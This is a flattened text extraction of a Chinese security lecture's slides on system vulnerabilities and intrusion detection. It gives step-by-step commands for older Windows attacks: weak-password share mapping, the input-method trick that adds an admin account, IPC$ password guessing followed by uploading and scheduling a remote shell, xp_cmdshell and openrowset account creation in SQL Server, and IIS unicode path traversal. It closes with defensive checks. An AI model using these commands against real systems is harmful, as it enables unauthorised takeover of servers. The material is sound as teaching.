《系统安全漏洞与安全检测》由会员分享,可在线阅读,更多相关《系统安全漏洞与安全检测(59页珍藏版)》请在金锄头文库上搜索。
1、蓝盾网络安全讲座-张贺勋蓝盾安全小组蓝盾安全小组系统安全漏洞与安全检测目录目录漏洞的形成漏洞的形成漏洞的分类漏洞的分类漏洞的检测工具漏洞的检测工具漏洞的防范办法漏洞的防范办法安全检测的目的安全检测的目的常见安全检测的内容常见安全检测的内容专业安全检测的内容专业安全检测的内容一、漏洞形成后门:大型软件、系统的编写,是许多程序员共同完成。他们是将一个软件或系统分成若干板块,分工编写,然后再汇总,测试。最后,修补,发布。在软件汇总时,为了测试方便,程序员总会留有后门;在测试以后再进行修补这些后门,如果一旦疏忽(或是为某种目的故意留下),或是没有发现,软件发布后自然而然就成了漏洞。程序若干板块之间的空
2、隙:这里很容易出现连程序员的都没想到的漏洞!蓝盾安全小组蓝盾安全小组网络协议:网络协议有TCP、UDP、ICMP、IGMP等。其实,他们本来的用途是好的,但却被别人用于不乏的活动:例如,ICMP本来是用于寻找网络相关信息,后来却被用于网络嗅探和攻击;TCP本来是用于网络传输,后来却被用于泄漏用户信息。程序员自身的素质:程序员的自身对网络安全认识的不够,写出的程序自身就有漏洞。二、系统漏洞的分类二、系统漏洞的分类l l 操作系统漏洞操作系统漏洞l l 应用平台的漏洞应用平台的漏洞l l 应用系统的漏洞应用系统的漏洞l l 网络系统漏洞网络系统漏洞操作系统的漏洞l l 弱口令弱口令弱口令就是用户的
3、操作密码过于简单(如123)。描述:本漏洞的危害性极强,它可以对系统服务器作任何的操作。主要是因为管理员的安全意识不足。测试目的:用本漏洞控制服务器系统。(1)我们可以用爆力破解工具或扫描器(XSCAN等)对机器进行扫描,可得到管理员密码。只要拥有管理员级权限,就能完全共享应用对方的机器,如下面的命令会将对方的C盘映射为自己的X盘:c:netusex:目标主机的IP地址c$密码/user:用户名其中c$为系统默认共享,依此类推,同样可以共享对方的d$,e$(2)运行AT命令。C:netstartscheduleSchedule正在启动服务.Schedulw服务启动成功。AT的语法:ATcomp
4、uternametimecommand比如:ATcomputernametimerunnc.bat(3)用远程控制终端l l输入法漏洞输入法漏洞 描述:输入法漏洞可以说是中文Windows2000推出后的第一个致命漏洞,通过它我们可以做许多的事情,包括建立用户.测试1:使用文件类型编辑创建管理员用户:1.开机到登陆界面调出输入法,如全拼-帮助-操作指南,跳出输入法指南帮助文件2.右击选项按钮,选择跳至url3.在跳至URL上添上c:,其它的也可.4.帮助的右边会进入c:5.按帮助上的选项按钮.6.选internet选项.会启动文件类型编辑框.7.新建一个文件类型,如一个you文件类型,在跳出的
5、文件后缀中添上you.确定.8.选中文件类型框中的you文件类型,点击下面的高级按钮,会出现文件操作对话框.9.新建一种文件操作,操作名任意写,如ppp10.该操作执行的命令如下:C:WINNTsystem32cmd.exe/cnetusermayi123456/add&C:WINNTsystem32cmd.exe/cnetlocalgroupadministratorsaboutnt/add完成后退出11.将c:的某个文件如pipi.txt改为pipi.txt.mayi,然后双击打开这个文件.12.通常这个文件是打不开的,系统运行一会便没有了提示,但这时我们已经将用户mayi加上了,权限是管
6、理员.13.返回,重新以aboutnt用户登录即可。 IPC$IPC$共享漏洞共享漏洞描述:危害性大,主要是和其它漏洞一块使用IPC$(Inter-ProcessCommunication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。常常可利用这一点来,通过使用空的IPC会话进行攻击。测试1:通过本漏洞猜测用户密码c:netuse目标机器的IP地址ipc$/user:当这个连接建立后,要将username和password送去加以确认。如果你以Administrator登录,则需要进行口令猜测。可以重复
7、使用net命令,进行username和password猜测:c:netusexxx.xxx.xxx.xxxipc$/user:也可以使用脚本语句:open(IPC,netusexxx.xxx.xxx.xxxipc$/user:);看看目标计算机上有那些共享的资源可以用下面命令:c:netview目标计算机的IP地址一旦IPC$共享顺利完成,下一个命令是:c:netuseg:xxx.xxx.xxx.xxxc$得到了C$共享,并将该目录映射到g:,键入:c:dirg:/p就能显示这个目录的所有内容。测试2:通过测试1来上传木马控制服务器c:netuse202.1.1.1ipc$”/user:”ad
8、min”此时,cmd会提示命令成功完成。这样你就和建立了IPC连接。c:copyserver.exe202.1.1.1admin$上传server.exe到的winnt目录,因为winnt目录里的东西比较多,管理员不容易发现,所以我们把server.exe上传到里面。Server.exe是janker写的winshell生成的程序,WinShell是一个运行在Windows平台上的Telnet服务器软件。这个命令可以的到的系统时间,例如是00:00c:at202.1.1.100:01”server.exe”cmd会提示新加了一项任务,其作业ID为1,这样远程系统会在00:01时运行server
9、.exe。c:at202.1.1.11这样可以查看ID为1的作业情况。c:netuse202.1.1.1ipc$/delete退出IPC连接。现在,server.exe已经在远程主机上运行了。输入:c:telnet202.1.1.121(端口可以自己在winshell中设定)这样就成功的telnet到上了。应用平台的漏洞SQLSERVER存在的一些安全漏洞:“SA”帐号弱口令描述:危害性极强,它可以完作控制系统服务器。存在“sa”帐户,密码就为空,或密码过于简单,我们就可以通过扫描工具(如X-SCAN等)得到密码,用测试:通过XP-CMDSHEll来增加一个帐号如:Xp_cmdshellnet
10、usertestuser/ADD然后在:Xp_cmdshellnetlocalgroupAdministratorstestuser/ADD这样攻击者就成功的在SQLSERVER上增加了一个用户。当然远程的话,一般需要有1433口开着,通过MSSQL客户端进行连接。最后你可以用添加的用户名通过远程控制终端来控制你服务器系统。扩展存储过程参数解析漏洞:描述:危害性极强,它可以完作控制系统服务器。起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时解释深入参数的,如:exec,.如要查询“c:winnt”的目录树,可以如下表达:execxp_dirtr
11、eec:winnt但没有检查各个参数的长度,传递相当长的字符串,就存在了覆盖其他堆栈参数的可能导致缓冲溢出。目前已知受影响的扩展存储过程如下:xp_printstatements(xprepl.dll)xp_proxiedmetadata(xprepl.dll)xp_SetSQLSecurity(xpstar.dll)关于openrowset和opendatasource描述:危害性极强,它可以完作控制系统服务器。利用openrowset发送本地命令,通常我们的用法是(包括MSDN的列子)如下select*fromopenrowset(sqloledb,myserver;sa;,select*
12、fromtable)可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!select*fromopenrowset(sqloledb,server;sa;,setfmtonlyoffexecdirc:)必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。那么如果我们要调用
13、sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作select*fromopenrowset(sqloledb,server;sa;,selectOK!execHectic)这样,命令至少会返回selectOK!的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用selectOK!的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!IIS漏洞IISunicode漏洞描述:危害性极强
14、,可以完全的控制服务器。对于IIS5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如“%c1%hh”或者“%c0%hh”,它会首先将其解码变成:0xc10xhh,然后尝试打开这个文件,Windows系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果0x00=%hh(0xc1-0xc0)*0x40+0xhh%c0%hh-(0xc0-0xc0)*0x40+0xhh例如,在Windows2000简体中文版+IIS5.0+SP1系统下测试:http:/target/A.ida/%c1%00.idaIIS会报告说.ida文件找不到这里:(0xc1-0
15、xc0)*0x40+0x00=0x40=http:/target/A.ida/%c1%01.idaIIS会报告说A.ida文件找不到这里:(0xc1-0xc0)*0x40+0x01=0x41=A攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。测试1:下面的URL可能列出当前目录的内容:http:/ l 打补丁打补丁打对应的补丁是最好的解决办法,可以到微软下载中心http:/ l l 用用IISLOCKTOOLS l l 防火墙防火墙五、安全检测目地五、安全检测目地l l对系统漏洞的发现对系统漏洞的发现l l确定是否被入侵过确定是否被入侵过1、日志的检测(1)日志的分类l
16、操作系统l安全日志l应用程序日志l系统日志l应用系统l其它HTTPHTTP状态代码说明状态代码说明 200200代码表明了所有的工作一切正常,传输过程很成功代码表明了所有的工作一切正常,传输过程很成功 201201代码表明成功发出并执行了一代码表明成功发出并执行了一POSTPOST命令命令 202202代码表明客户的命令由服务器接受以进行处理代码表明客户的命令由服务器接受以进行处理 204204代码表明客户的请求得到处理,服务器不能返回数据代码表明客户的请求得到处理,服务器不能返回数据 300300代码表明客户请求的数据最近被移走代码表明客户请求的数据最近被移走 301301代码表明服务器发现
17、客户所请求的数据位于一个替代的临时重定向的代码表明服务器发现客户所请求的数据位于一个替代的临时重定向的URLURL302302代码表明服务器建议客户到一个替代的位置去请求数据代码表明服务器建议客户到一个替代的位置去请求数据303303代码表明出现了一个问题,服务器不能修改请求数据代码表明出现了一个问题,服务器不能修改请求数据400400代码表明客户发出了一个异常的请求,因此不能被处理代码表明客户发出了一个异常的请求,因此不能被处理401401代码表明客户试图访问一个未被授权的访问的数理代码表明客户试图访问一个未被授权的访问的数理403403代码表明访问被禁止代码表明访问被禁止404404代码表
18、明文档未找到代码表明文档未找到500500表明一个服务器不能恢复的内部服务器错误表明一个服务器不能恢复的内部服务器错误502502代码表明服务器过载代码表明服务器过载目地:发现目地:发现CGICGI漏洞入侵者,以及漏洞入侵者,以及WEBWEB服务的情况服务的情况 安全性日志 安全性基本上捕获那些成功和失败审核事件,同时对这种事性的概述很简单。如下图WIN2000系统日志IIS日志路径:路径:c:winntsystem32logfilew3svc1c:winntsystem32logfilew3svc1FTP日志路径:路径:c:winntsystem32logfileMSFTPSVC1c:win
19、ntsystem32logfileMSFTPSVC12 2、端口扫描、端口扫描作用:发现木马和确定开通的服务。作用:发现木马和确定开通的服务。工具:工具:SUPERSCANSUPERSCAN、PORTSCANPORTSCAN、3 3、网络的监视、网络的监视作用:发现网络攻击作用:发现网络攻击工具:工具:TCPDUMPTCPDUMP(LINUXLINUX)、)、WINDUMPWINDUMP(WINDOWSWINDOWS)、命今)、命今NETSTATNETSTAT4、检查用户帐号和组信息 启动用户管理器程序,或者在命令行状态下执行net user、net group和net localgroup命
20、令,查看当前用户和组清单,确保内置GUEST帐号被禁止使用:看看是否有非法组成员存在。默认安装后的组都具有特殊权限,例如,Administrators组成员有权对本地系统做任何事情,Backup operators组成员有权读取系统中的所有文件,PowerUsers组成员有权创建共享。不要让一些不合适的用户隐藏在这些组中。 5 5、定时任务中是否存在可疑程序、定时任务中是否存在可疑程序检查定时任务中是否存在可疑程序。攻击者可以让检查定时任务中是否存在可疑程序。攻击者可以让后门程序定时运行,以便将来重新入侵。更进一步地,后门程序定时运行,以便将来重新入侵。更进一步地,要准确核对定时任务所对应的实
21、际程序名是否合法。在要准确核对定时任务所对应的实际程序名是否合法。在命令行状态下执行命令行状态下执行“at”“at”命令可以很方便地看到这些信息。命令可以很方便地看到这些信息。6 6、临时进程、临时进程检查是否存在临时进程。要获取这些信息,可以借助任检查是否存在临时进程。要获取这些信息,可以借助任务管理器、也可以在命令行执行务管理器、也可以在命令行执行pulist.exepulist.exe和和tlist.exetlist.exe。pulistpulist可以查看每个进程由谁启动,可以查看每个进程由谁启动,tlist-ftlist-f可以查看哪个可以查看哪个进程又启动了子进程。进程又启动了子进
22、程。7 7、检测混杂模式的网卡、检测混杂模式的网卡作用:确认是否被监听。作用:确认是否被监听。软件:软件:PROMISCANPROMISCAN嗅探行为已经成为网络安全的一个巨大威胁。通过网嗅探行为已经成为网络安全的一个巨大威胁。通过网络嗅探,一些恶意用户能够很容易地窃取到绝密的文档络嗅探,一些恶意用户能够很容易地窃取到绝密的文档和任何人的隐私。要实现上述目的非常容易,恶意用户和任何人的隐私。要实现上述目的非常容易,恶意用户只要从网络上下载嗅探器并安全到自己的计算机就可以只要从网络上下载嗅探器并安全到自己的计算机就可以了。然而,却没有一个很好的方法来检测网络上的嗅探了。然而,却没有一个很好的方法
23、来检测网络上的嗅探器程序器程序, ,以下将讨论使用地址解析协议以下将讨论使用地址解析协议(Address(AddressResolutionProtocol)ResolutionProtocol)报文来有效地检测网络上的嗅探器报文来有效地检测网络上的嗅探器程序。程序。原理和检测方法原理和检测方法: :例如:网络上一台例如:网络上一台IPIP地址为的地址为的PC(X)PC(X)以太网地址是以太网地址是00-00-00-00-00-00-0100-00-00-00-01,这台,这台PC(X)PC(X)需要向网络上另外一台需要向网络上另外一台IPIP地地址为的址为的PC(Y)PC(Y)发送消息。在发
24、送之前,发送消息。在发送之前,X X首先发出一个首先发出一个ARPARP请求包查询对应的以太网地址。查询包的目的地址被请求包查询对应的以太网地址。查询包的目的地址被设置为设置为FF-FF-FF-FF-FF-FF(FF-FF-FF-FF-FF-FF(广播广播) ),从而本地网络上的所,从而本地网络上的所有节点都可以收到这个包。收到之后,每个节点会检查这有节点都可以收到这个包。收到之后,每个节点会检查这个个ARPARP包查询的包查询的IPIP地址和本机的地址和本机的IPIP地址是否匹配。如果不地址是否匹配。如果不同,就忽略这个同,就忽略这个ARPARP包;如果匹配包;如果匹配(Y)(Y)就向就向X
25、 X发出应答。发出应答。X X收到应答之后就缓存收到应答之后就缓存Y Y的的IP/IP/硬件地址。然后,硬件地址。然后,X X就可以向就可以向Y Y发送实际的数据。如果我们把这个查询包的目的地址发送实际的数据。如果我们把这个查询包的目的地址( (以以太网地址太网地址) )设置为另外的地址设置为另外的地址, ,而不是原来的广播地址又将而不是原来的广播地址又将如何?例如:我们把如何?例如:我们把查询包的目的地址设置为查询包的目的地址设置为00-00-00-00-00-0100-00-00-00-00-01会发生什么?会发生什么?处于正常模式下网络节点的以太网卡会认为这个查询包是发处于正常模式下网络
26、节点的以太网卡会认为这个查询包是发往其它主机的,其硬件过滤器会拒绝接收这个包;然而,如往其它主机的,其硬件过滤器会拒绝接收这个包;然而,如果这个网络节点果这个网络节点(192.168.1.10)(192.168.1.10)的以太网卡处于混杂模式的以太网卡处于混杂模式(promiscuousmode)(promiscuousmode)下,那么即使以太网地址不匹配,其硬下,那么即使以太网地址不匹配,其硬件过滤器也不进行任何过滤,从而使这个查询包能够进入到件过滤器也不进行任何过滤,从而使这个查询包能够进入到系统的内核。因为这个节点的系统的内核。因为这个节点的IPIP地址和查询包的要查询地址和查询包的
27、要查询IPIP地地址相同,其内核就会认为址相同,其内核就会认为ARPARP查询包到达,应该作出应答。查询包到达,应该作出应答。但是,另我们吃惊的是,这个处于混杂模式节点的内核不会但是,另我们吃惊的是,这个处于混杂模式节点的内核不会应答应答ARPRARPR查询包。这种出人意料的结果说明这个包被系统查询包。这种出人意料的结果说明这个包被系统内核过滤掉了。在这里我们把这叫作软件过滤器。内核过滤掉了。在这里我们把这叫作软件过滤器。8 8、注册表的检测、注册表的检测作用:发现木马作用:发现木马工具:工具:fcfc命令命令,RegSnap,RegSnapHKEY_LOCAL_MACHINESystemCu
28、rrentControlSetControlSessionHKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManagerKnownDLLsManagerKnownDLLsHKEY_LOCAL_MACHINESystemControlSet001ControlSessionHKEY_LOCAL_MACHINESystemControlSet001ControlSessionManagerKnownDLLsManagerKnownDLLsHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentV
29、ersionRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceRunOnceHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentV
30、ersionRunOnceExRunOnceExHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesRunServicesHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsNTCurrentVersionNTCurrentVersionWindows(run=line)Windows(r
31、un=line)HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunVersionRunHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnceRunOnceHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVers
32、ionHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnceExRunOnceExHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesRunServicesHKEY_CURRENT_USERSoftwareMicrosoftWindowsHKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionNTCurrentVersionWindows(run=value)Windows(run=value)9 9、检查是否存在非授权的共享、检查是否存在非授权的共享 要从窗口界面检查系统中都共享了哪些资源,是件很烦琐的事情,很可能造成遗漏。执行命令行程序net share是个简便的方法,它可以很快很完整地显示出系统中的所有共享资源 六、专业的安全检测六、专业的安全检测1 1、代码漏洞、代码漏洞2 2、后门漏洞、后门漏洞蓝盾安全小组